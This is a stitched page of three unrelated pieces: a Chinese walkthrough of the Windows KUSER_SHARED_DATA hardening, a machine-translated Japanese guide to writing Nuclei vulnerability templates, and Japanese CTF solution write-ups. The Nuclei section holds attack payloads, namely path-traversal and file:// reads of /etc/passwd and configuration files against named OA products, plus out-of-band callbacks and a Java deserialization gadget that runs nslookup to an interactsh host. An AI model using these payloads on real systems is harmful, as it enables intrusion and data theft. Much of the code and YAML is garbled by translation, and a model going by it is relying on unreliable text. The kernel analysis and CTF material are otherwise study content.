我們可以把它看作是PFN數據庫的基址，在本例中是0xffffc38000000000，它參與了相關操作。而最終的虛擬地址0xffffc380002df8a0（與“靜態”KUSER_SHARED_DATA關聯的PFN記錄的虛擬地址）可以在下面的RBP中看到。將來，它將用作nt!MiMakeProtectionPfnCompatible函數調用的第二個參數。

1.png

我們可以通過將上述虛擬地址解析為MMPFN結構體來驗證這一點，以查看PteAddress成員是否對應於“靜態”KUSER_SHARED_DATA的已知PTE。我們知道，PTE位於0xffffb7fbc0000000。

1.png

由於PFN結構體的PteAddress成員與“靜態”KUSER_SHARED_DATA關聯的PTE的虛擬地址是對齊的，這說明它就是與“靜態”KUSER_SHARED_DATA關聯的PFN記錄。

然後，這個值被用於對nt!MiReservePtes的調用，我們可以通過前面的兩張圖來確認這一點。根據__FastCall調用約定，該函數的第一個參數將進入RCX寄存器。這個參數實際上是一個nt!_MI_SYSTEM_PTE_TYPE結構體。

根據CodeMachine的文章來看，當對nt!MiReservePtes的調用發生時，這個結構體被用來定義如何進行內存分配，以便為正在創建的PTE預留內存。當用nt!MiReservePtes請求分配內存時，可能暗示了從系統PTE區域分配一塊虛擬內存。系統PTE區域被用於內存的映射視圖、內存描述符列表（MDL）和其他內容。有了這一信息，結合我們對兩個虛擬地址是如何被映射到同一物理內存頁的了解，就能確定：系統正在使用內存的不同'視圖'（例如，兩個虛擬地址對應一個物理地址，所以，儘管兩個虛擬地址包含相同的內容，但可能具有不同的權限）。此外，我們可以確認分配的內存來自系統PTE區域，因為nt!_MI_SYSTEM_PTE_TYPE結構體的VaType成員被設置為9，這是一個與MiVaSystemPtes對應的枚舉值。這意味著，在這種情況下，分配的內存將來自系統PTE的內存區域。

1.png

我們可以看到：在調用發生後，返回值是一個內核模式的地址，位於系統PTE區域的同一地址空間內，並且是由BasePte成員定義的。

1.png

此時，OS基本上已經以未填充的PTE結構體的形式從系統PTE區域分配了內存，該區域通常用於映射內存的多個視圖。下一步將是正確配置該PTE，並將其分配給一個內存地址。

之後，將繼續調用nt!MiMakeProtectionPfnCompatible。如前所述，該函數的第二個參數將是來自PFN數據庫的PFN記錄的虛擬地址，該記錄與應用於“靜態”KUSER_SHARED_DATA的PTE相關聯。

傳遞給nt!MiMakeProtectionPfnCompatible的第一個參數是常數4。這個價值從何而來？看一下ReactOS，我們可以看到兩個常數，它們用於描述PTE強制執行的內存權限。

1.png

根據ReactOS的說法，還有一個名為MI_MAKE_HARDWARE_PTE_KERNEL的函數，也利用了這些常數；其原型和定義可以在下文中看到。

1.png

該函數提供了nt!MiMakeProtectionPfnCompatible和nt!MiMakeValidPte（稍後將看到的函數）所公開的功能的組合。而值4或MM_READWRITE實際上是名為MmProtectTopTemask的數組的索引。該數組負責將請求的頁面權限(4，或MM_READWRITE)轉換為與PTE兼容的掩碼。

1.png

我們可以看到，前五個元素為：{0,PTE_READONLY,PTE_EXECUTE,PTE_EXECUTE_READ,PTE_READWRITE}。從這裡我們可以確認，以4作為下標訪問這個數組，就能訪問PTE_READWRITE的PTE掩碼，這正是nt!MmWriteableSharedUserData所期望的內存權限，因為我們知道：這應該是KUSER_SHARED_DATA的“新映射視圖”，它是可寫的。同時，別忘了：與“靜態”KUSER_SHARED_DATA關聯的PFN記錄的虛擬地址是通過RDX在函數調用中使用的。

1.png

在函數調用之後，返回值是一個“與PTE兼容”的掩碼，它表示一個可讀和可寫的內存頁面。

1.png

到目前為止，我們已經掌握了：

1、當前為空的PTE地址；

2、PTE的“骨架”（例如，可提供可讀/可寫的掩碼）

考慮到這一點，現在讓我們將注意力轉向對nt!MiMakeValidPte的調用。

1.png

nt!MiMakeValidPte實際上提供了前面所說的ReactOS函數MI_MAKE_HARDWARE_PTE_KERNEL的“其餘”功能。並且，nt!MiMakeValiePte需要以下信息：

1、 新創建的空PTE的地址（這個PTE將被應用到nt!MmWriteableUserSharedData的虛擬地址）；目前這個地址位於RCX中。

2、 一個PFN；目前位於RDX中（例如，不是來自PFN數據庫的虛擬地址，而是原始的PFN“值”）。

3、 一個“兼容PTE的”掩碼（例如，我們的讀/寫屬性）；目前位於R8中。

所有這些信息都可以在下面的屏幕截圖中看到。

就“將同一物理內存映射到不同視圖”而言，這裡最重要的組成部分是RDX中的值，它是KUSER_SHARED_DATA的實際PFN值（原始值，而不是虛擬地址）。讓我們首先回憶一下，PFN乘以一個頁面的大小（0x1000字節，或4KB）後，實際上就是一個物理地址。這是真的，特別是在我們的案例中，因為我們正在處理最細化的內存類型：4KB對齊的內存塊。由於沒有更多的分頁結構需要索引——這是PFN最常見的用途，因此，這就意味著：在這種情況下，PFN將被用來獲取最終的、4KB對齊的內存頁。

我們知道，這其實就是在正在執行的函數（nt!MiProtectSharedUserPage）裡面創建了一個PTE（通過nt!MiReservePtes和nt!MiMakeValidPte）。正如我們所知，這個PTE將被應用於一個虛擬地址，並用於將所述虛擬地址映射到一個物理頁面，本質上是通過與PTE相關的PFN實現的。目前，將用於這種映射的PFN被存儲在RDX中。在較低的水平上，RDX中的這個值乘以一個頁面的大小（4KB），就是虛擬地址被映射到的實際物理頁面。

有趣的是，RDX中的這個值（在第二次調用nt!MI_READ_PTE_LOCK_FREE後保留下來的值），就是與KUSER_SHARED_DATA相關的PFN! 換句話說，我們給這個新創建的PTE分配的虛擬地址（最終應該是nt!MmWriteableUserSharedData）將映射到KUSER_SHARED_DATA結構體所在的物理內存，因此，當nt!MmWriteableUserSharedData的內容被更新時，該物理內存也將被更新。由於“靜態”的KUSER_SHARED_DATA（0xfffff78000000000）也位於相同的物理內存中，它也會隨之更新。實際上，即使只讀的“靜態”KUSER_SHARED_DATA不允許執行寫操作，它仍然會收到nt!MmWriteableUserSharedData的更新，也就是說：它是可讀和可寫的。這是因為這兩個虛擬地址都會映射到同一個物理內存，所以，只要對其中一個執行寫操作，另一個也會隨之發生變化!

既然如此，也就沒有很好的理由讓“正常的”KUSER_SHARED_DATA結構地址（例如0xfffff78000000000）不是只讀的，因為現在有另一個內存地址可以用來代替它。這樣做的好處是，可寫的“版本”或“映射”（即nt!MmWriteableUserSharedData）是隨機的!

現在繼續，我們告訴操作系統：我們需要一個有效的、可讀和可寫的PTE，它由KUSER_SHARED_DATA的PFN（用於所有意圖和目的的物理地址）提供支持，並且將被寫入我們已經從系統PTE區域分配的PTE（因為這個內存用於映射“視圖”）。

在執行該函數後，我們可以看到情況就是這樣的！

1.png

下一個函數調用nt!MiPteInShadowRange實際上只是進行邊界檢查，看看我們的PTE是否位於影子空間中。回想一下前面的內容，對於內核虛擬地址影子(KVAS)的實現來說，分頁結構是獨立的：一組用於用戶模式，一組用於內核模式。通常來說，“影子空間”（也稱為用於用戶模式尋址的結構體）是位於nt!MiPteInShadowRange的檢查範圍內的。不過，由於我們處理的是一個內核模式頁面，因此，它所對應的PTE肯定不在“影子空間”內。就我們的目的而言，這並不是我們真正感興趣的東西。

在這個函數調用之後，將會執行mov qword ptr[rdi]，rbx指令。這將使用nt!MiMakeValidPte函數所創建的相應位，來更新我們分配的PTE（它之前是空白的）！這樣，我們就得到了一個有效的PTE，並被保存到位於虛擬地址0xFFFF78000000000處的KUSER_SHARED_DATA所在的同一段物理內存中！

1.png

1.png

此時，我們離目標符號nt!MmWriteableUserSharedData僅有幾條指令，該符號剛才用新的ASLR映射的KUser_Shared_Data視圖進行了更新。然後，就可以將“靜態”KUSER_SHARED_DATA設為只讀（回想一下，在加載時，它還是可讀/寫的！）。

1.png

目前，通過RDI，我們就能得到用於新的、可讀/寫的PTE的地址和KUSER_SHARED_DATA的隨機映射視圖（通過nt!MiReservePtes生成）。上面的截圖顯示，會對RDI執行一些位運算，同時，我們可以看到頁表項的基址也會參與運算。這些都是簡單的編譯器優化，用於將一個給定的PTE轉換為PTE所應用的虛擬地址。

這是一個必要的步驟，回顧一下，到此為止，我們已經成功地從系統PTE區域生成了一個PTE，並將其標記為讀/寫，告訴它使用“靜態”的KUSER_SHARED_DATA作為虛擬內存對應的物理內存，但是我們並沒有將其實際應用於虛擬內存地址，該地址將由這個PTE來描述和映射！我們要應用這個PTE的虛擬地址，將是我們要存儲在nt!MmWriteableUserSharedData中的值！

讓我們再次回顧一下把新的PTE轉換為相應虛擬地址的位運算。

1.png

正如我們所知，RDI寄存器存放的就是目標PTE的地址。同時我們還知道，檢索與給定虛擬地址相關的PTE的步驟如下所示（即通過適當的索引訪問PTE數組）：

1、 通過將虛擬地址除以一個頁面的大小（在標準Window系統上為0x1000字節），將虛擬地址轉換成虛擬頁面號（VPN）。

2、 用上述數值乘以PTE的大小（在64位系統上為0x8字節）。

3、 把這個值加到頁表條目數組的基址上。

這相當於以PteBaseArray[VPN]方式來訪問PTE數組。由於我們知道如何從虛擬地址轉換為PTE，因此，只要將這些步驟倒過來，就能檢索與給定PTE相關的虛擬地址。

知道PTE後，“反轉”過程如下所示：

1、 將RDI中的PTE（目標PTE）減去PTE數組的基址，以提取PTE數組的索引；

2、 用這個值除以PTE的大小（0x8字節）來獲取虛擬頁面號（VPN）；

3、 用這個值乘以一個頁面的大小（0x1000）來檢索虛擬地址。

我們還知道編譯器會生成一條sar rdi，10H指令，對上述步驟生成的值進行算術右移，注意，這個過程其符號並不會發生變化。如果在WinDbg中復現這個過程，我們可以看到，最終值(0x0000A580A4002000)將轉換為地址0xFFFFA580A4002000。

1.png

將計算得到的值與內核生成的值進行比較，我們可以看到，它就是對應於PTE的虛擬地址，該地址將映射到KUSER_SHARED_DATA所在的物理內存，並且兩個地址最多匹配到0xffffa580a4002000！我們可以斷定，這些位運算屬於將PTE轉換為虛擬地址的宏的一部分，這是編譯器優化過的代碼！

1.png

1.png

該功能在ReactOS中以名為mi_write_valid_pte的函數形式提供。正如我們所看到的，它本質上不僅將PTE內容寫入PTE地址（在本例中是通過nt!MiReservePtes從系統PTE區域分配內存），而且還通過函數miptetoaddress獲取與PTE相關聯的虛擬地址。

1.png

太棒了！但是，我們還需要做最後一件事，那就是將“靜態”KUSER_SHARED_DATA的地址轉換為只讀的。我們已經看到，當前正在排隊等待調用nt!MiMakeProtectionPfnCompatible函數。在保存內存權限常量的RCX中，我們可以看到其值為1，或者MM_READONLY的值——還記得之前為KUSER_SHARED_DATA的讀/寫映射創建的兼容PTE的掩碼嗎？換句話說，該頁面所擁有的唯一內存“權限”，就是讀取。

在RDX中，存放的是我們對PFN數組的索引；通過將'靜態'KUSER_SHARED_DATA的PTE的虛擬地址（位於0xffffb7fbc000000的PTE）與位於PFN結構MMPFN中的PTE進行比較，我們可以確定：我們已經得到了與'靜態'KUSER_SHARED_DATA相關聯的PFN，從而得到了一個與PTE兼容的值。

1.png

1.png

與上次一樣，現在只是有了一個只讀頁面，我們還需調用nt!MiMakeValidPte，通過其PTE的虛擬地址(0xFFFFB7C000000000)為“靜態”KUSER_SHARED_DATA分配只讀權限。

1.png

調用成功後，會生成一個PTE，以用於只讀頁面。

1.png

“靜態”KUSER_SHARED_DATA結構體也是通過前面提到的相同方法（ReactOS中提供的方法稱為MI_WRITE_VALID_PTE）進行更新的。

1.png

就我們的目的而言，對於nt!MiProtectSharedUserPage所做的各種事情，我們感興趣的就是這些！我們現在有兩個虛擬地址都映射到KUSER_SHARED_DATA所在的物理內存（一個地址是只讀的，對應於0xfffff78000000000處的'靜態'KUSER_SHARED_DATA結構體，另一個則對應於新的nt!MmWriteableUserSharedData版本，它是隨機化的，並且是可讀/寫的）！

例如，我們現在可以在IDA中看到，KUSER_SHARED_DATA的更新過程，是通過隨機化和可寫的新符號來完成的。下圖取自nt!KiUpdateTime，在這裡我們可以看到KUSER_SHARED_DATA的幾個偏移量被更新了（即變為0x328和0x320)。同樣，在同一張圖中，我們還可以看到，當讀取來自KUSER_SHARED_DATA的成員時，Windows將使用舊的“靜態”硬編碼地址（在本例中，它們是0xfffff78000000008和0xfffff78000000320)。

1.png

小結很明顯，濫用這個代碼洞的原語已不可用，之前被攻擊者利用的靜態結構體現在已經得到了安全加固。然而，對於如今的漏洞利用過程來說，要想實現代碼執行，必須首先設法繞過kASLR機制——儘管這不是非常困難，但是，如果攻擊者無法繞過kASLR，就無法將代碼寫入內存。不言而喻，如果攻擊者能夠在內核加載過程中通過競態條件或其他原語儘早將代碼寫入內存，比如將代碼寫入靜態的0xfffff78000000000+0x800處的KUSER_SHARED_DATA代碼洞中，就能繞過這個障礙，因為我們知道：當內核第一次被映射到內存時，這個結構體仍然是可讀和可寫的。然而，當內核加載完成後，這個區域將變成只讀的。但是，儘管如此，這仍然是可能的，因為初始化發生在內核加載過程中。實際上，有一些已公開的exploit就是利用了這個原語，例如chompie1337的SMBGhost概念驗證就是如此，所以，作為防禦方，不僅需要提高攻擊者的門檻，還需要了解公開exploit的最新動向。雖然本文介紹的內容是一個相當小眾的變動/緩解措施，但我認為它非常有趣，至少在此過程中學到了很多關於系統PTE區域和內存視圖的知識。

如果您有任何意見、疑問、更正或建議，請隨時聯繫我。

最後，祝大家閱讀愉快！

HireHackking

1。スクリプトの構文形式

ケース感度

インデント：インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。

キー価値ペア：YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。

リスト：短い水平線を使用して、リスト内のアイテムを表します。

コメント：＃から始まる行はコメントです。

文字列：文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。

IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。

情報：情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。

名前：テンプレート名、この提案はIDと同じです

重大度：重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。

説明：脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。

タグ：タグは、簡単なスキャンのために脆弱性にタグを追加することです。

私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。

試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます

2。一般的な核コマンド

1。テンプレート形式を確認します

Nuclei -T test.yaml -validate

2.テンプレートとターゲットを指定します

Nuclei -T test.yaml -u http://exam.com

3。バッチスキャン

Nuclei -T test.yaml -l Target.txt

4. Socks5プロキシスキャンを指定します

Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890

3。スクリプトの例

ID:ファイルインクルード＃テンプレートの一意の識別子

info:＃名前、著者、バージョンなど、テンプレートの基本情報。

name:ファイルには、スクリプトの名前が含まれています

著者: bakclion #template著者

severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です

説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ

Reference: http://www.baidu.com #Reference Source

tags:テスト#categoryタグ

requests:＃ターゲットと対話する方法のリクエストセクションを定義します

-Method: getやpostなどの#httpメソッドを取得する

PATH: #requested Path

- '{{baseurl}}/vul/dir/dir_list.php？title=./././././././etc/etswd'

Headers: #Requestヘッダー

user-agent: 'mozilla/5.0（windows nt 10.0; win64; x64）applewebkit/537.36（khtml、yike gecko）chrome/114.0.0.0 safari/537.36'

Matchers:

-Type:ステータス＃マッチバックパックステータス

Status:

-200

-Type: REGEX #Match戻りコンテンツ

パート:ボディ

regex:

- 'root:x:0:0:root3360/root3360/bin/bash'

iv。スクリプト構成

1。開始

id: landray-oa-fileread

info:

name: landray-oa-fileread

著者:バックライオン

重大度:高

説明: |

lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です

fofa: app='landray-oa system'

Reference: https://github.com/backslion

tags: fileread、landray

2.request

を取得します

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}/seeyon/webmail.do？method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties'

post

requests:

-Method:投稿

PATH:

- '{{baseurl}}/sys/ui/extend/varkind/custom.jsp'

Headers:

Content-Type:アプリケーション/x-www-form-urlencoded

body: 'var={' body': {'file':'file: ///etc/passwd'}} '

raw

requests:

-Raw:

- |

post /spirit/interface/gateway.php http/1.1

host: {{hostname}}

Content-Type:アプリケーション/x-www-form-urlencoded

json={'url':'/general /././mysql5/my.ini '}

ジャンプ

-method: get

PATH:

- '{{baseurl}}'

Redirects: True

max-redirects: 2

または

リクエスト:

-Raw:

- |

get/zentao/api-getmodel-editor-save-filepath=bote http/1.1

Redirects: True

max-redirects: 3

パス

リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。

{{hostname}}}：これは、ホスト名を示す一般的に使用される予約済みの単語です。

{{randstr}}：これはランダムな文字列です。

{{rand_int（1,9999）}}}：これは、1〜9999の間でランダムな整数を生成する予約された単語です。

{{baseurl}}：https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。

{{rooturl}}}：https://example.com:443などのパスとファイルが含まれていないベースURLを表します。

{{host}}：example.comなどのホスト名を表します。

{{port}}：ポート番号、たとえば443を示します。

{{path}}： /seeyon /loginなどのパスを表します。

{{file}}：bar.phpなどのファイル名を表します。

{{Scheme}}：HTTPSなどのプロトコルを表します。

{{hex_decode（ ''）}}：これは、16進数でデコードされた予約済みの単語です。

MD5（）：これは、MD5によって変換された予約された単語です

変数値

{{baseurl}} https://example.com:443/foo/bar.php

{{rooturl}} https://example.com:443

{{hostname}} example.com:443

{{host}} example.com

{{port}} 443

{{path}} /foo

{{file}} bar.php

{{Scheme}} https

一撃の停止

一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}'

- '{{baseurl}}/login'

- '{{baseurl}}/main'

- '{{baseurl}}/index'

Stop-at-first-match: true

oob

Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。

リクエスト:

-Raw:

- |

get/plugins/servlet/oauth/users/icon-uri？consumeruri=https://{{interationsh-url}} http/1.1

host: {{hostname}}

Java Deserialization

raw:

- |

post /index.faces; jsessionid=x http /1.1

host: {{hostname}}

Accept-Encoding: gzip、deflate

Content-Length: 1882

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

javax.faces.viewState={{generate_java_gadget（ 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64'）}}}

3.Matcher

Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作：および|または同時に条件を満たしています

Matchers:

-Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL

DSL: #use dslデータマッチング用の構文（！注：より柔軟で複雑なマッチング、推奨）Stringslice

- 'status_code_1==200 status_code_2==302'

- 'all_headers_1==' admin 'all_headers_2==' index ''

condition:と#need上記の2つの条件を同時に満たす

-Type:ワード

Words: #returnパッケージマッチングテキスト（!注：単語タイプはここでより特別です。

- 「admin.php」

- '61646D696E2E706870'

- '{{match_str}}'

Encoding: hex＃encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します（!注：単語マッチャーのみがサポートされ、ヘックスのみがサポートされています）hex

＃次の設定は基本的に一般的です（!注：DSLタイプを除く）

PART:ヘッダー＃データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。

条件:または＃match結果論理操作と| or

ネガティブ: true＃一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false

-Type:ステータス

Status:＃マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています

-200

-Type: REGEX

regex:＃Stringsliceを一致させるデータの規則性を使用します

- '。*\ admin.php。*'

-Type:バイナリ

binary: #sistingsliceを一致させるデータのバイナリを使用します

- '61646D696E2E706870'

-Type:サイズ

size: #returnパケットデータサイズ（注：ボディデータを参照）intslice

-1234

DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。

変数名説明例出力データContent_Length

コンテンツ長ヘッダー

content_length

12345

status_code

応答ステータスコード

status_code

200

all_headers

ヘッダー情報に戻ります

体

身体情報を返します

body_1

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

user_agent

xxxx

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

set_cookie

xxx=

HireHackking

1. pyc

PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。

＃！/usr/bin/env python

＃詳細については、https://tool.lu/pyc/をご覧ください

＃version: python 3.8

ランダムをインポートします

def encrypt_file（file_path）:

random.seed（114514）

＃警告: Decompyleが不完全

file_path='./flag'

encrypt_file（file_path）

次に、AI分析を使用して、対応する復号化スクリプトを取得します

ランダムをインポートします

OSをインポートします

def decrypt_data（encrypted_data）:

random.seed（114514）

decrypted_data=bytearray（）

byte in necrypted_data:の場合

key=random.randint（0、128）

decrypted_data.append（byte ^ key）

decrypted_dataを返します

def read_file（file_path、mode='rb'）:

open（file_path、mode）をfile:として

file.read（）を返します

def write_file（file_path、data、mode='wb'）:

open（file_path、mode）をfile:として

file.write（data）

def decrypt_file（encrypted_file_path、output_file_path）:

encrypted_data=read_file（encrypted_file_path）

decrypted_data=decrypt_data（encrypted_data）

write_file（output_file_path、decrypted_data）

__NAME __=='__ Main __' :の場合

encrypted_file_path='flag.enc'

output_file_path='flag_decrypted.txt'

decrypt_file（encrypted_file_path、output_file_path）

#flag {u_r_g00d_at_do1n_pyc}

2. mwatch

ヒント：データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5（データ収集デバイス名データ受信デバイス名値）}

心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください

image-20240428205017240

image-20240428205017240

フラグ{MD5（MIスマートバンド5_REDMI K40_128）}

フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14}

3. babyrsa

ヒント：特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか？

ソースコード：

＃task.py

＃！/usr/bin/env python3

＃ - * - coding: utf-8-* -

秘密のインポートフラグから、init

crypto.util.Numberインポートから *

sage.allからimport *

gmpy2インポートirootから

m=bytes_to_long（flag.encode（））

r=getPrime（128）

p=init

＃範囲（r-1）:の場合

＃p +=next_prime（init）

＃arsert iroot（p、3）[1]==1

Q=getPrime（12）

＃n=p*q*r

n=r ** 4*q

E=getPrime（17）

c=pow（m、e、n）

印刷（f'r={r} '）

print（f'e={e} '）

印刷（f'c={c} '）

＃R=287040188443069778047400125757341514899

＃E=96001

＃c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

Qを取得するために12ビットの素数を爆破してから復号化します

crypto.util.Numberからlong_to_bytesをインポートします

R=287040188443069778047400125757341514899

E=96001

c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

＃指数のモジュラスが実際にr ** 4であると仮定すると

n=r ** 4

＃emodφ（n）のモジュラー逆数を計算します。ここで、φ（n）は（r-1）*（r ** 3）のようなrの関数になる可能性があります

＃RSA復号化式m=c^d mod nにはφ（n）の正しい値が必要です。ここで、d=e^（ - 1）modφ（n）

＃ここで、φ（n）=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません

phi_n=r ** 4 -r ** 3

d=inverse（e、phi_n）

＃メッセージを復号化します

m=pow（c、d、n）

＃番号をバイトに変換します

メッセージ=long_to_bytes（m）

印刷（メッセージ）

#flag {3b0ce326141ea4f6b5bf2f37efbd1b42}

4. バックパック

BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化

＃！/usr/bin/env python3

＃ - * - coding: utf-8-* -

sage.allからimport *

秘密のインポートフラグから

crypto.util.Numberインポートから *

数学からインポートlog2から

クラスナープサック:

def __init __（self、n、m）:

self.m=[]

self.n=n

self.m=self.pre（m）

self.a=0

self.b=0

def pre（self、m）:

tmp_m=bin（m）[2:]

t=[]

TMP_M:のTMPの場合

T.Append（int（tmp））

tを返します

def get_m（self）:

seq=[randint（2 ** 34,2 ** 35）for _ in range（self.n）]

self.m=seq

def calc_denity（self）:

t=log2（max（self.m））

d=self.n/t

印刷（d）

def enc（self）:

self.get_m（）

self.calc_dences（）

c=0

範囲のt（len（self.m））:

c +=self.m [t] * self.m [t]

印刷（f'c={c} '）

print（f'm={self.m} '）

__NAME __=='__ Main __' :の場合

m=bytes_to_long（flag.encode（））

n=m.bit_length（）

k=ナップサック（n、m）

k.enc（）

＃c=231282844744

＃M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920]

Sagemathで実行：

crypto.util.Number inmort long_to_bytesから

C=231282844744

M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、

23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、

33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、

31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、

30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、

21108080920]

l=block_matrix（[[1、matrix（zz、m）]、[0、c]]）。lll（））。

L:の行

row [-1]==0およびlen（set（row [:-1]））==1:の場合

＃最後の要素を除くすべての要素が同じであると仮定すると同じです

ans=[abs（i）in ow in ow in [:-1]]

ans=int（ ''。join（map（str、ans））、2）

print（long_to_bytes（ans））

5. ターゲットを絞ったデータ収集

OpenPyxlをインポートします

リクエストをインポートします

インポート時間

urllib.parseインポートurlencodeから

burp0_url='http://121.40.65.125:23328/submit'

Def devery_name_and_id（input_file、output_file）:

wb=openpyxl.load_workbook（input_file）

ws=wb.active

ws.iter_rows（min_row=1、max_col=1、max_row=ws.max_row、values_only=true）:の行の場合

行[0] :の場合

名前、id_number=row [0] .split（ '----'）#extrame name and Identityカード

印刷（名前、id_number）

Age=2024-int（id_number [6:10]）

if（int（id_number [10:12]）4）:

年齢- =1

sexx=u'male '

burp0_json={'address':' asd '、' age ': str（age）、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx}

sexx2=u'female '

burp0_json1={'address':' asd '、' age '3: str（age）、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2}

try:

r0=requests.post（burp0_url、json=burp0_json）

r1=requests.post（burp0_url、json=burp0_json1）

print（r0.request.body）

print（r0.text、r1.text）

＃time.sleep（0.5）

requests.exceptions:を除く

print（ 'err'）

＃time.sleep（2）

＃ws.append（[name.strip（）、id_number.strip（）]）

＃wb.save（output_file）

wb.close（）

__name__=='__main __' :の場合

input_file='data1.xlsx'

output_file='deprosed_data.xlsx' #Noの使用、破棄されます

devery_name_and_id（input_file、output_file）

6. 天気

レビューbundle.js

image-20240428213212351

image-20240428213230335

アクセスするパラメーターを取得します

Image

7.mysqlクリーンアップ

ヒント：

要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 （MySQL CTFユーザーパスワードPSWD@123）

（ '5142'、 '2123'、'1169 '、' 8623 '）のushows_id in（' 5142 '、' 2123 '、' 18623 '）から削除します。

（ '5142'、 '2123'、'1169 '、' 8623 '）inuser_id in（' 5142 '、' 2123 '、' 8623 '）;

userlog where where user_id in（ '5142'、 '2123'、'1169 '、' 8623 '）;

user_id in（ '5142'、 '2123'、'1169 '、' 8623 '）;

（ '5142'、 '2123'、'1169 '、' 8623 '）でid（' 5142 '、' 2123 '、'1169'、 '）;

テーブルを再構築し、削除後に残りのデータをクリアします

Alter Tableユーザーエンジン=innodb;

Alter Table userlog Engine=innodb;

Table TransactionHistory Engine=Innodbを変更します。

Alter Table ShopphingCart Engine=Innodb;

Alter Table Orders Engine=Innodb;

image-20240428213639377

8. ファントムスクエア

第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください

Hashlibをインポートします

ランダムをインポートします

文字列をインポートします

＃文字セットを英数字として定義します

charset=string.ascii_letters + string.digits

true:

＃チャーセットからランダムな4文字列を生成します

rand_str='' .join（random.choice（charset）for _ in _ in range（4）） + 'cyhqp8lsgzyjtnud'

＃文字列のSHA-256ハッシュを計算します

hash_output=hashlib.sha256（rand_str.encode（））。hexdigest（）

＃ハッシュがターゲットハッシュと一致するかどうかを確認します

